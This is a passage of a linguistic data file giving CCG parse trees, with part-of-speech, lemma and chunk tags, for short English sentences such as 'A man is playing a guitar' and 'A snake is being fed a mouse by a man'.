t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'onstage', 'onstage', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(123,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(124,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'game', 'game', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(125,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'measuring', 'measure', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'other', 'other', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(126,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'measured', 'measure', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(127,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'motorcycle', 'motorcycle', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(128,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(129,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'screaming', 'scream', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(130,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:pss\np, 'scared', 'scare', 'VBN', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(131,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sad', 'sad', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'crying', 'cry', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(132,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'screaming', 'scream', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(133,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'shrimps', 'shrimp', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(134,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'butter', 'butter', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'container', 'container', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(135,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Men', 'Man', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'sawing', 'saw', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'logs', 'log', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(136,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Men', 'Man', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'wood', 'wood', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(137,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'radio', 'radio', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(138,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'spitting', 'spit', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(139,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
rp(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t(comma, ',', ',', ',', 'O', 'O')),
lx((s:ng\np)\(s:ng\np), s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'vending', 'vend', 'VBG', 'I-NP', 'O'),
t(n, 'machine', 'machine', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(140,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
rp(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t(comma, ',', ',', ',', 'I-VP', 'O')),
lx((s:ng\np)\(s:ng\np), s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'vending', 'vend', 'VBG', 'I-NP', 'O'),
t(n, 'machine', 'machine', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(141,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'off', 'off', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(142,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'furiously', 'furiously', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
rp(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t(comma, ',', ',', ',', 'O', 'O')),
lx((s:ng\np)\(s:ng\np), s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'vending', 'vend', 'VBG', 'I-NP', 'O'),
t(n, 'machine', 'machine', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(143,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'stirring', 'stir', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sauce', 'sauce', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'chicken', 'chicken', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(144,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'stirring', 'stir', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sauce', 'sauce', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'chicken', 'chicken', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(145,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'electric', 'electric', 'JJ', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(146,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(147,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(148,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'strumming', 'strum', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(149,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'costumes', 'costume', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(150,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'costumes', 'costume', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(151,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'practicing', 'practice', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(152,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'costumes', 'costume', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(153,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'planting', 'plant', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'flowers', 'flower', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(154,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'broccoli', 'broccoli', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(155,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hole', 'hole', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'burrowed', 'burrow', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'badger', 'badger', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(156,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'badger', 'badger', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'shrewdly', 'shrewdly', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'digging', 'dig', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'earth', 'earth', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(157,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snake', 'snake', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/np, 'fed', 'feed', 'VBN', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'mouse', 'mouse', 'NN', 'I-NP', 'O'))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(158,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'No', 'no', 'DT', 'I-NP', 'O'),
t(n, 'snake', 'snake', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/np, 'fed', 'feed', 'VBN', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'mouse', 'mouse', 'NN', 'I-NP', 'O'))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(159,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'ingredients', 'ingredient', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'mixed', 'mix', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(160,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'ingredients', 'ingredient', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'separated', 'separate', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
